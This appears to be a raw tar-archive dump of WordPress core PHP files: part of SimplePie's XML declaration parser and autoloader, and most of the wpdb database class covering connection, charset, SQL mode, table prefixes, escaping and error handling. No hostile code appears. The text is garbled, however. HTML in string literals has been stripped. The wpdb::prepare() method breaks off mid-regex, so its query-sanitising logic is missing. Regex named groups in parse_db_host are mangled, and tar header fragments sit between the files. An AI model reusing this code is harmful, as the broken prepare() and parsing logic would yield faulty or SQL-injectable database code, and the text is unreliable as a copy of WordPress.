} else { $this->state = self::STATE_ERROR; } } public function encoding_value() { if ($this->encoding = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = self::STATE_STANDALONE_NAME; } else { $this->state = self::STATE_EMIT; } } else { $this->state = self::STATE_ERROR; } } public function standalone_name() { if (substr($this->data, $this->position, 10) === 'standalone') { $this->position += 10; $this->skip_whitespace(); $this->state = self::STATE_STANDALONE_EQUALS; } else { $this->state = self::STATE_ERROR; } } public function standalone_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = self::STATE_STANDALONE_VALUE; } else { $this->state = self::STATE_ERROR; } } public function standalone_value() { if ($standalone = $this->get_value()) { switch ($standalone) { case 'yes': $this->standalone = true; break; case 'no': $this->standalone = false; break; default: $this->state = self::STATE_ERROR; return; } $this->skip_whitespace(); if ($this->has_data()) { $this->state = self::STATE_ERROR; } else { $this->state = self::STATE_EMIT; } } else { $this->state = self::STATE_ERROR; } } } class_alias('SimplePie\XML\Declaration\Parser', 'SimplePie_XML_Declaration_Parser'); SimplePie/autoloader.php000064400000007652147177035020011323 0ustar00path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'library'; } /** * Autoloader * * @param string $class The name of the class to attempt to load. */ public function autoload($class) { // Only load the class if it starts with "SimplePie" if (strpos($class, 'SimplePie') !== 0) { return; } $filename = $this->path . DIRECTORY_SEPARATOR . str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php'; include $filename; } } wp-db.php000064400000324657147177035020006315 0ustar00 '%d'. * * @since 2.8.0 * * @see wpdb::prepare() * @see wpdb::insert() * @see wpdb::update() * @see wpdb::delete() * @see wp_set_wpdb_vars() * @var array */ public $field_types = array(); /** * Database table columns charset. * * @since 2.2.0 * * @var string */ public $charset; /** * Database table columns collate. * * @since 2.2.0 * * @var string */ public $collate; /** * Database Username. * * @since 2.9.0 * * @var string */ protected $dbuser; /** * Database Password. * * @since 3.1.0 * * @var string */ protected $dbpassword; /** * Database Name. * * @since 3.1.0 * * @var string */ protected $dbname; /** * Database Host. * * @since 3.1.0 * * @var string */ protected $dbhost; /** * Database handle. * * Possible values: * * - `mysqli` instance when the `mysqli` driver is in use * - `resource` when the older `mysql` driver is in use * - `null` if the connection is yet to be made or has been closed * - `false` if the connection has failed * * @since 0.71 * * @var mysqli|resource|false|null */ protected $dbh; /** * A textual description of the last query/get_row/get_var call. * * @since 3.0.0 * * @var string */ public $func_call; /** * Whether MySQL is used as the database engine. * * Set in wpdb::db_connect() to true, by default. This is used when checking * against the required MySQL version for WordPress. Normally, a replacement * database drop-in (db.php) will skip these checks, but setting this to true * will force the checks to occur. * * @since 3.3.0 * * @var bool */ public $is_mysql = null; /** * A list of incompatible SQL modes. * * @since 3.9.0 * * @var string[] */ protected $incompatible_modes = array( 'NO_ZERO_DATE', 'ONLY_FULL_GROUP_BY', 'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES', 'TRADITIONAL', 'ANSI', ); /** * Whether to use mysqli over mysql. Default false. * * @since 3.9.0 * * @var bool */ private $use_mysqli = false; /** * Whether we've managed to successfully connect at some point. * * @since 3.9.0 * * @var bool */ private $has_connected = false; /** * Time when the last query was performed. * * Only set when `SAVEQUERIES` is defined and truthy. * * @since 1.5.0 * * @var float */ public $time_start = null; /** * The last SQL error that was encountered. * * @since 2.5.0 * * @var WP_Error|string */ public $error = null; /** * Connects to the database server and selects a database. * * Does the actual setting up * of the class properties and connection to the database. * * @since 2.0.8 * * @link https://core.trac.wordpress.org/ticket/3354 * * @param string $dbuser Database user. * @param string $dbpassword Database password. * @param string $dbname Database name. * @param string $dbhost Database host. */ public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) { if ( WP_DEBUG && WP_DEBUG_DISPLAY ) { $this->show_errors(); } // Use the `mysqli` extension if it exists unless `WP_USE_EXT_MYSQL` is defined as true. if ( function_exists( 'mysqli_connect' ) ) { $this->use_mysqli = true; if ( defined( 'WP_USE_EXT_MYSQL' ) ) { $this->use_mysqli = ! WP_USE_EXT_MYSQL; } } $this->dbuser = $dbuser; $this->dbpassword = $dbpassword; $this->dbname = $dbname; $this->dbhost = $dbhost; // wp-config.php creation will manually connect when ready. if ( defined( 'WP_SETUP_CONFIG' ) ) { return; } $this->db_connect(); } /** * Makes private properties readable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to get, and optionally process. * @return mixed The private member. */ public function __get( $name ) { if ( 'col_info' === $name ) { $this->load_col_info(); } return $this->$name; } /** * Makes private properties settable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to set. * @param mixed $value The value to set. */ public function __set( $name, $value ) { $protected_members = array( 'col_meta', 'table_charset', 'check_current_query', ); if ( in_array( $name, $protected_members, true ) ) { return; } $this->$name = $value; } /** * Makes private properties check-able for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to check. * @return bool If the member is set or not. */ public function __isset( $name ) { return isset( $this->$name ); } /** * Makes private properties un-settable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to unset */ public function __unset( $name ) { unset( $this->$name ); } /** * Sets $this->charset and $this->collate. * * @since 3.1.0 */ public function init_charset() { $charset = ''; $collate = ''; if ( function_exists( 'is_multisite' ) && is_multisite() ) { $charset = 'utf8'; if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) { $collate = DB_COLLATE; } else { $collate = 'utf8_general_ci'; } } elseif ( defined( 'DB_COLLATE' ) ) { $collate = DB_COLLATE; } if ( defined( 'DB_CHARSET' ) ) { $charset = DB_CHARSET; } $charset_collate = $this->determine_charset( $charset, $collate ); $this->charset = $charset_collate['charset']; $this->collate = $charset_collate['collate']; } /** * Determines the best charset and collation to use given a charset and collation. * * For example, when able, utf8mb4 should be used instead of utf8. * * @since 4.6.0 * * @param string $charset The character set to check. * @param string $collate The collation to check. * @return array { * The most appropriate character set and collation to use. * * @type string $charset Character set. * @type string $collate Collation. * } */ public function determine_charset( $charset, $collate ) { if ( ( $this->use_mysqli && ! ( $this->dbh instanceof mysqli ) ) || empty( $this->dbh ) ) { return compact( 'charset', 'collate' ); } if ( 'utf8' === $charset && $this->has_cap( 'utf8mb4' ) ) { $charset = 'utf8mb4'; } if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) { $charset = 'utf8'; $collate = str_replace( 'utf8mb4_', 'utf8_', $collate ); } if ( 'utf8mb4' === $charset ) { // _general_ is outdated, so we can upgrade it to _unicode_, instead. if ( ! $collate || 'utf8_general_ci' === $collate ) { $collate = 'utf8mb4_unicode_ci'; } else { $collate = str_replace( 'utf8_', 'utf8mb4_', $collate ); } } // _unicode_520_ is a better collation, we should use that when it's available. if ( $this->has_cap( 'utf8mb4_520' ) && 'utf8mb4_unicode_ci' === $collate ) { $collate = 'utf8mb4_unicode_520_ci'; } return compact( 'charset', 'collate' ); } /** * Sets the connection's character set. * * @since 3.1.0 * * @param mysqli|resource $dbh The connection returned by `mysqli_connect()` or `mysql_connect()`. * @param string $charset Optional. The character set. Default null. * @param string $collate Optional. The collation. Default null. */ public function set_charset( $dbh, $charset = null, $collate = null ) { if ( ! isset( $charset ) ) { $charset = $this->charset; } if ( ! isset( $collate ) ) { $collate = $this->collate; } if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) { $set_charset_succeeded = true; if ( $this->use_mysqli ) { if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) { $set_charset_succeeded = mysqli_set_charset( $dbh, $charset ); } if ( $set_charset_succeeded ) { $query = $this->prepare( 'SET NAMES %s', $charset ); if ( ! empty( $collate ) ) { $query .= $this->prepare( ' COLLATE %s', $collate ); } mysqli_query( $dbh, $query ); } } else { if ( function_exists( 'mysql_set_charset' ) && $this->has_cap( 'set_charset' ) ) { $set_charset_succeeded = mysql_set_charset( $charset, $dbh ); } if ( $set_charset_succeeded ) { $query = $this->prepare( 'SET NAMES %s', $charset ); if ( ! empty( $collate ) ) { $query .= $this->prepare( ' COLLATE %s', $collate ); } mysql_query( $query, $dbh ); } } } } /** * Changes the current SQL mode, and ensures its WordPress compatibility. * * If no modes are passed, it will ensure the current MySQL server modes are compatible. * * @since 3.9.0 * * @param array $modes Optional. A list of SQL modes to set. Default empty array. */ public function set_sql_mode( $modes = array() ) { if ( empty( $modes ) ) { if ( $this->use_mysqli ) { $res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' ); } else { $res = mysql_query( 'SELECT @@SESSION.sql_mode', $this->dbh ); } if ( empty( $res ) ) { return; } if ( $this->use_mysqli ) { $modes_array = mysqli_fetch_array( $res ); if ( empty( $modes_array[0] ) ) { return; } $modes_str = $modes_array[0]; } else { $modes_str = mysql_result( $res, 0 ); } if ( empty( $modes_str ) ) { return; } $modes = explode( ',', $modes_str ); } $modes = array_change_key_case( $modes, CASE_UPPER ); /** * Filters the list of incompatible SQL modes to exclude. * * @since 3.9.0 * * @param array $incompatible_modes An array of incompatible modes. */ $incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes ); foreach ( $modes as $i => $mode ) { if ( in_array( $mode, $incompatible_modes, true ) ) { unset( $modes[ $i ] ); } } $modes_str = implode( ',', $modes ); if ( $this->use_mysqli ) { mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" ); } else { mysql_query( "SET SESSION sql_mode='$modes_str'", $this->dbh ); } } /** * Sets the table prefix for the WordPress tables. * * @since 2.5.0 * * @param string $prefix Alphanumeric name for the new prefix. * @param bool $set_table_names Optional. Whether the table names, e.g. wpdb::$posts, * should be updated or not. Default true. * @return string|WP_Error Old prefix or WP_Error on error. */ public function set_prefix( $prefix, $set_table_names = true ) { if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) { return new WP_Error( 'invalid_db_prefix', 'Invalid database prefix' ); } $old_prefix = is_multisite() ? '' : $prefix; if ( isset( $this->base_prefix ) ) { $old_prefix = $this->base_prefix; } $this->base_prefix = $prefix; if ( $set_table_names ) { foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } if ( is_multisite() && empty( $this->blogid ) ) { return $old_prefix; } $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } } return $old_prefix; } /** * Sets blog ID. * * @since 3.0.0 * * @param int $blog_id * @param int $network_id Optional. * @return int Previous blog ID. */ public function set_blog_id( $blog_id, $network_id = 0 ) { if ( ! empty( $network_id ) ) { $this->siteid = $network_id; } $old_blog_id = $this->blogid; $this->blogid = $blog_id; $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } return $old_blog_id; } /** * Gets blog prefix. * * @since 3.0.0 * * @param int $blog_id Optional. * @return string Blog prefix. */ public function get_blog_prefix( $blog_id = null ) { if ( is_multisite() ) { if ( null === $blog_id ) { $blog_id = $this->blogid; } $blog_id = (int) $blog_id; if ( defined( 'MULTISITE' ) && ( 0 === $blog_id || 1 === $blog_id ) ) { return $this->base_prefix; } else { return $this->base_prefix . $blog_id . '_'; } } else { return $this->base_prefix; } } /** * Returns an array of WordPress tables. * * Also allows for the `CUSTOM_USER_TABLE` and `CUSTOM_USER_META_TABLE` to override the WordPress users * and usermeta tables that would otherwise be determined by the prefix. * * The `$scope` argument can take one of the following: * * - 'all' - returns 'all' and 'global' tables. No old tables are returned. * - 'blog' - returns the blog-level tables for the queried blog. * - 'global' - returns the global tables for the installation, returning multisite tables only on multisite. * - 'ms_global' - returns the multisite global tables, regardless if current installation is multisite. * - 'old' - returns tables which are deprecated. * * @since 3.0.0 * * @uses wpdb::$tables * @uses wpdb::$old_tables * @uses wpdb::$global_tables * @uses wpdb::$ms_global_tables * * @param string $scope Optional. Possible values include 'all', 'global', 'ms_global', 'blog', * or 'old' tables. Default 'all'. * @param bool $prefix Optional. Whether to include table prefixes. If blog prefix is requested, * then the custom users and usermeta tables will be mapped. Default true. * @param int $blog_id Optional. The blog_id to prefix. Used only when prefix is requested. * Defaults to `wpdb::$blogid`. * @return string[] Table names. When a prefix is requested, the key is the unprefixed table name. */ public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) { switch ( $scope ) { case 'all': $tables = array_merge( $this->global_tables, $this->tables ); if ( is_multisite() ) { $tables = array_merge( $tables, $this->ms_global_tables ); } break; case 'blog': $tables = $this->tables; break; case 'global': $tables = $this->global_tables; if ( is_multisite() ) { $tables = array_merge( $tables, $this->ms_global_tables ); } break; case 'ms_global': $tables = $this->ms_global_tables; break; case 'old': $tables = $this->old_tables; break; default: return array(); } if ( $prefix ) { if ( ! $blog_id ) { $blog_id = $this->blogid; } $blog_prefix = $this->get_blog_prefix( $blog_id ); $base_prefix = $this->base_prefix; $global_tables = array_merge( $this->global_tables, $this->ms_global_tables ); foreach ( $tables as $k => $table ) { if ( in_array( $table, $global_tables, true ) ) { $tables[ $table ] = $base_prefix . $table; } else { $tables[ $table ] = $blog_prefix . $table; } unset( $tables[ $k ] ); } if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) { $tables['users'] = CUSTOM_USER_TABLE; } if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) { $tables['usermeta'] = CUSTOM_USER_META_TABLE; } } return $tables; } /** * Selects a database using the current or provided database connection. * * The database name will be changed based on the current database connection. * On failure, the execution will bail and display a DB error. * * @since 0.71 * * @param string $db Database name. * @param mysqli|resource $dbh Optional database connection. */ public function select( $db, $dbh = null ) { if ( is_null( $dbh ) ) { $dbh = $this->dbh; } if ( $this->use_mysqli ) { $success = mysqli_select_db( $dbh, $db ); } else { $success = mysql_select_db( $db, $dbh ); } if ( ! $success ) { $this->ready = false; if ( ! did_action( 'template_redirect' ) ) { wp_load_translations_early(); $message = '

    ' . __( 'Cannot select database' ) . "

    \n"; $message .= '

    ' . sprintf( /* translators: %s: Database name. */ __( 'The database server could be connected to (which means your username and password is okay) but the %s database could not be selected.' ), '' . htmlspecialchars( $db, ENT_QUOTES ) . '' ) . "

    \n"; $message .= "
      \n"; $message .= '
    • ' . __( 'Are you sure it exists?' ) . "
    • \n"; $message .= '
    • ' . sprintf( /* translators: 1: Database user, 2: Database name. */ __( 'Does the user %1$s have permission to use the %2$s database?' ), '' . htmlspecialchars( $this->dbuser, ENT_QUOTES ) . '', '' . htmlspecialchars( $db, ENT_QUOTES ) . '' ) . "
    • \n"; $message .= '
    • ' . sprintf( /* translators: %s: Database name. */ __( 'On some systems the name of your database is prefixed with your username, so it would be like username_%1$s. Could that be the problem?' ), htmlspecialchars( $db, ENT_QUOTES ) ) . "
    • \n"; $message .= "
    \n"; $message .= '

    ' . sprintf( /* translators: %s: Support forums URL. */ __( 'If you do not know how to set up a database you should contact your host. If all else fails you may find help at the WordPress Support Forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . "

    \n"; $this->bail( $message, 'db_select_fail' ); } } } /** * Do not use, deprecated. * * Use esc_sql() or wpdb::prepare() instead. * * @since 2.8.0 * @deprecated 3.6.0 Use wpdb::prepare() * @see wpdb::prepare() * @see esc_sql() * * @param string $string * @return string */ public function _weak_escape( $string ) { if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) { _deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' ); } return addslashes( $string ); } /** * Real escape, using mysqli_real_escape_string() or mysql_real_escape_string(). * * @since 2.8.0 * * @see mysqli_real_escape_string() * @see mysql_real_escape_string() * * @param string $string String to escape. * @return string Escaped string. */ public function _real_escape( $string ) { if ( ! is_scalar( $string ) ) { return ''; } if ( $this->dbh ) { if ( $this->use_mysqli ) { $escaped = mysqli_real_escape_string( $this->dbh, $string ); } else { $escaped = mysql_real_escape_string( $string, $this->dbh ); } } else { $class = get_class( $this ); wp_load_translations_early(); /* translators: %s: Database access abstraction class, usually wpdb or a class extending wpdb. */ _doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' ); $escaped = addslashes( $string ); } return $this->add_placeholder_escape( $escaped ); } /** * Escapes data. Works on arrays. * * @since 2.8.0 * * @uses wpdb::_real_escape() * * @param string|array $data Data to escape. * @return string|array Escaped data, in the same type as supplied. */ public function _escape( $data ) { if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array( $v ) ) { $data[ $k ] = $this->_escape( $v ); } else { $data[ $k ] = $this->_real_escape( $v ); } } } else { $data = $this->_real_escape( $data ); } return $data; } /** * Do not use, deprecated. * * Use esc_sql() or wpdb::prepare() instead. * * @since 0.71 * @deprecated 3.6.0 Use wpdb::prepare() * @see wpdb::prepare() * @see esc_sql() * * @param string|array $data Data to escape. * @return string|array Escaped data, in the same type as supplied. */ public function escape( $data ) { if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) { _deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' ); } if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array( $v ) ) { $data[ $k ] = $this->escape( $v, 'recursive' ); } else { $data[ $k ] = $this->_weak_escape( $v, 'internal' ); } } } else { $data = $this->_weak_escape( $data, 'internal' ); } return $data; } /** * Escapes content by reference for insertion into the database, for security. * * @uses wpdb::_real_escape() * * @since 2.3.0 * * @param string $string String to escape. */ public function escape_by_ref( &$string ) { if ( ! is_float( $string ) ) { $string = $this->_real_escape( $string ); } } /** * Prepares a SQL query for safe execution. * * Uses sprintf()-like syntax. The following placeholders can be used in the query string: * * - %d (integer) * - %f (float) * - %s (string) * * All placeholders MUST be left unquoted in the query string. A corresponding argument * MUST be passed for each placeholder. * * Note: There is one exception to the above: for compatibility with old behavior, * numbered or formatted string placeholders (eg, `%1$s`, `%5s`) will not have quotes * added by this function, so should be passed with appropriate quotes around them. * * Literal percentage signs (`%`) in the query string must be written as `%%`. Percentage wildcards * (for example, to use in LIKE syntax) must be passed via a substitution argument containing * the complete LIKE string, these cannot be inserted directly in the query string. * Also see wpdb::esc_like(). * * Arguments may be passed as individual arguments to the method, or as a single array * containing all arguments. A combination of the two is not supported. * * Examples: * * $wpdb->prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s", array( 'foo', 1337, '%bar' ) ); * $wpdb->prepare( "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s", 'foo' ); * * @since 2.3.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by updating the function signature. The second parameter was changed * from `$args` to `...$args`. * * @link https://www.php.net/sprintf Description of syntax. * * @param string $query Query statement with sprintf()-like placeholders. * @param array|mixed $args The array of variables to substitute into the query's placeholders * if being called with an array of arguments, or the first variable * to substitute into the query's placeholders if being called with * individual arguments. * @param mixed ...$args Further variables to substitute into the query's placeholders * if being called with individual arguments. * @return string|void Sanitized query string, if there is a query to prepare. */ public function prepare( $query, ...$args ) { if ( is_null( $query ) ) { return; } // This is not meant to be foolproof -- but it will catch obviously incorrect usage. if ( strpos( $query, '%' ) === false ) { wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( /* translators: %s: wpdb::prepare() */ __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' ); } // If args were passed as an array (as in vsprintf), move them up. $passed_as_array = false; if ( isset( $args[0] ) && is_array( $args[0] ) && 1 === count( $args ) ) { $passed_as_array = true; $args = $args[0]; } foreach ( $args as $arg ) { if ( ! is_scalar( $arg ) && ! is_null( $arg ) ) { wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( /* translators: %s: Value type. */ __( 'Unsupported value type (%s).' ), gettype( $arg ) ), '4.8.2' ); } } /* * Specify the formatting allowed in a placeholder. The following are allowed: * * - Sign specifier. eg, $+d * - Numbered placeholders. eg, %1$s * - Padding specifier, including custom padding characters. eg, %05s, %'#5s * - Alignment specifier. eg, %05-s * - Precision specifier. eg, %.2f */ $allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?'; /* * If a %s placeholder already has quotes around it, removing the existing quotes and re-inserting them * ensures the quotes are consistent. * * For backward compatibility, this is only applied to %s, and not to placeholders like %1$s, which are frequently * used in the middle of longer strings, or as table name placeholders. */ $query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes. $query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes. $query = preg_replace( '/(?add_placeholder_escape( $query ); } /** * First half of escaping for `LIKE` special characters `%` and `_` before preparing for SQL. * * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security. * * Example Prepared Statement: * * $wild = '%'; * $find = 'only 43% of planets'; * $like = $wild . $wpdb->esc_like( $find ) . $wild; * $sql = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like ); * * Example Escape Chain: * * $sql = esc_sql( $wpdb->esc_like( $input ) ); * * @since 4.0.0 * * @param string $text The raw text to be escaped. The input typed by the user * should have no extra or deleted slashes. * @return string Text in the form of a LIKE phrase. The output is not SQL safe. * Call wpdb::prepare() or wpdb::_real_escape() next. */ public function esc_like( $text ) { return addcslashes( $text, '_%\\' ); } /** * Prints SQL/DB error. * * @since 0.71 * * @global array $EZSQL_ERROR Stores error information of query and error string. * * @param string $str The error to display. * @return void|false Void if the showing of errors is enabled, false if disabled. */ public function print_error( $str = '' ) { global $EZSQL_ERROR; if ( ! $str ) { if ( $this->use_mysqli ) { $str = mysqli_error( $this->dbh ); } else { $str = mysql_error( $this->dbh ); } } $EZSQL_ERROR[] = array( 'query' => $this->last_query, 'error_str' => $str, ); if ( $this->suppress_errors ) { return false; } wp_load_translations_early(); $caller = $this->get_caller(); if ( $caller ) { /* translators: 1: Database error message, 2: SQL query, 3: Name of the calling function. */ $error_str = sprintf( __( 'WordPress database error %1$s for query %2$s made by %3$s' ), $str, $this->last_query, $caller ); } else { /* translators: 1: Database error message, 2: SQL query. */ $error_str = sprintf( __( 'WordPress database error %1$s for query %2$s' ), $str, $this->last_query ); } error_log( $error_str ); // Are we showing errors? if ( ! $this->show_errors ) { return false; } // If there is an error then take note of it. if ( is_multisite() ) { $msg = sprintf( "%s [%s]\n%s\n", __( 'WordPress database error:' ), $str, $this->last_query ); if ( defined( 'ERRORLOGFILE' ) ) { error_log( $msg, 3, ERRORLOGFILE ); } if ( defined( 'DIEONDBERROR' ) ) { wp_die( $msg ); } } else { $str = htmlspecialchars( $str, ENT_QUOTES ); $query = htmlspecialchars( $this->last_query, ENT_QUOTES ); printf( '

    %s [%s]
    %s

    ', __( 'WordPress database error:' ), $str, $query ); } } /** * Enables showing of database errors. * * This function should be used only to enable showing of errors. * wpdb::hide_errors() should be used instead for hiding errors. * * @since 0.71 * * @see wpdb::hide_errors() * * @param bool $show Optional. Whether to show errors. Default true. * @return bool Whether showing of errors was previously active. */ public function show_errors( $show = true ) { $errors = $this->show_errors; $this->show_errors = $show; return $errors; } /** * Disables showing of database errors. * * By default database errors are not shown. * * @since 0.71 * * @see wpdb::show_errors() * * @return bool Whether showing of errors was previously active. */ public function hide_errors() { $show = $this->show_errors; $this->show_errors = false; return $show; } /** * Enables or disables suppressing of database errors. * * By default database errors are suppressed. * * @since 2.5.0 * * @see wpdb::hide_errors() * * @param bool $suppress Optional. Whether to suppress errors. Default true. * @return bool Whether suppressing of errors was previously active. */ public function suppress_errors( $suppress = true ) { $errors = $this->suppress_errors; $this->suppress_errors = (bool) $suppress; return $errors; } /** * Kills cached query results. * * @since 0.71 */ public function flush() { $this->last_result = array(); $this->col_info = null; $this->last_query = null; $this->rows_affected = 0; $this->num_rows = 0; $this->last_error = ''; if ( $this->use_mysqli && $this->result instanceof mysqli_result ) { mysqli_free_result( $this->result ); $this->result = null; // Sanity check before using the handle. if ( empty( $this->dbh ) || ! ( $this->dbh instanceof mysqli ) ) { return; } // Clear out any results from a multi-query. while ( mysqli_more_results( $this->dbh ) ) { mysqli_next_result( $this->dbh ); } } elseif ( is_resource( $this->result ) ) { mysql_free_result( $this->result ); } } /** * Connects to and selects database. * * If `$allow_bail` is false, the lack of database connection will need to be handled manually. * * @since 3.0.0 * @since 3.9.0 $allow_bail parameter added. * * @param bool $allow_bail Optional. Allows the function to bail. Default true. * @return bool True with a successful connection, false on failure. */ public function db_connect( $allow_bail = true ) { $this->is_mysql = true; /* * Deprecated in 3.9+ when using MySQLi. No equivalent * $new_link parameter exists for mysqli_* functions. */ $new_link = defined( 'MYSQL_NEW_LINK' ) ? MYSQL_NEW_LINK : true; $client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0; if ( $this->use_mysqli ) { /* * Set the MySQLi error reporting off because WordPress handles its own. * This is due to the default value change from `MYSQLI_REPORT_OFF` * to `MYSQLI_REPORT_ERROR|MYSQLI_REPORT_STRICT` in PHP 8.1. */ mysqli_report( MYSQLI_REPORT_OFF ); $this->dbh = mysqli_init(); $host = $this->dbhost; $port = null; $socket = null; $is_ipv6 = false; $host_data = $this->parse_db_host( $this->dbhost ); if ( $host_data ) { list( $host, $port, $socket, $is_ipv6 ) = $host_data; } /* * If using the `mysqlnd` library, the IPv6 address needs to be enclosed * in square brackets, whereas it doesn't while using the `libmysqlclient` library. * @see https://bugs.php.net/bug.php?id=67563 */ if ( $is_ipv6 && extension_loaded( 'mysqlnd' ) ) { $host = "[$host]"; } if ( WP_DEBUG ) { mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags ); } else { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged @mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags ); } if ( $this->dbh->connect_errno ) { $this->dbh = null; /* * It's possible ext/mysqli is misconfigured. Fall back to ext/mysql if: * - We haven't previously connected, and * - WP_USE_EXT_MYSQL isn't set to false, and * - ext/mysql is loaded. */ $attempt_fallback = true; if ( $this->has_connected ) { $attempt_fallback = false; } elseif ( defined( 'WP_USE_EXT_MYSQL' ) && ! WP_USE_EXT_MYSQL ) { $attempt_fallback = false; } elseif ( ! function_exists( 'mysql_connect' ) ) { $attempt_fallback = false; } if ( $attempt_fallback ) { $this->use_mysqli = false; return $this->db_connect( $allow_bail ); } } } else { if ( WP_DEBUG ) { $this->dbh = mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags ); } else { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $this->dbh = @mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags ); } } if ( ! $this->dbh && $allow_bail ) { wp_load_translations_early(); // Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } $message = '

    ' . __( 'Error establishing a database connection' ) . "

    \n"; $message .= '

    ' . sprintf( /* translators: 1: wp-config.php, 2: Database host. */ __( 'This either means that the username and password information in your %1$s file is incorrect or that contact with the database server at %2$s could not be established. This could mean your host’s database server is down.' ), 'wp-config.php', '' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '' ) . "

    \n"; $message .= "
      \n"; $message .= '
    • ' . __( 'Are you sure you have the correct username and password?' ) . "
    • \n"; $message .= '
    • ' . __( 'Are you sure you have typed the correct hostname?' ) . "
    • \n"; $message .= '
    • ' . __( 'Are you sure the database server is running?' ) . "
    • \n"; $message .= "
    \n"; $message .= '

    ' . sprintf( /* translators: %s: Support forums URL. */ __( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress Support Forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . "

    \n"; $this->bail( $message, 'db_connect_fail' ); return false; } elseif ( $this->dbh ) { if ( ! $this->has_connected ) { $this->init_charset(); } $this->has_connected = true; $this->set_charset( $this->dbh ); $this->ready = true; $this->set_sql_mode(); $this->select( $this->dbname, $this->dbh ); return true; } return false; } /** * Parses the DB_HOST setting to interpret it for mysqli_real_connect(). * * mysqli_real_connect() doesn't support the host param including a port or socket * like mysql_connect() does. This duplicates how mysql_connect() detects a port * and/or socket file. * * @since 4.9.0 * * @param string $host The DB_HOST setting to parse. * @return array|false { * Array containing the host, the port, the socket and * whether it is an IPv6 address, in that order. * False if the host couldn't be parsed. * * @type string $0 Host name. * @type string|null $1 Port. * @type string|null $2 Socket. * @type bool $3 Whether it is an IPv6 address. * } */ public function parse_db_host( $host ) { $port = null; $socket = null; $is_ipv6 = false; // First peel off the socket parameter from the right, if it exists. $socket_pos = strpos( $host, ':/' ); if ( false !== $socket_pos ) { $socket = substr( $host, $socket_pos + 1 ); $host = substr( $host, 0, $socket_pos ); } // We need to check for an IPv6 address first. // An IPv6 address will always contain at least two colons. if ( substr_count( $host, ':' ) > 1 ) { $pattern = '#^(?:\[)?(?P[0-9a-fA-F:]+)(?:\]:(?P[\d]+))?#'; $is_ipv6 = true; } else { // We seem to be dealing with an IPv4 address. $pattern = '#^(?P[^:/]*)(?::(?P[\d]+))?#'; } $matches = array(); $result = preg_match( $pattern, $host, $matches ); if ( 1 !== $result ) { // Couldn't parse the address, bail. return false; } $host = ''; foreach ( array( 'host', 'port' ) as $component ) { if ( ! empty( $matches[ $component ] ) ) { $$component = $matches[ $component ]; } } return array( $host, $port, $socket, $is_ipv6 ); } /** * Checks that the connection to the database is still up. If not, try to reconnect. * * If this function is unable to reconnect, it will forcibly die, or if called * after the {@see 'template_redirect'} hook has been fired, return false instead. * * If `$allow_bail` is false, the lack 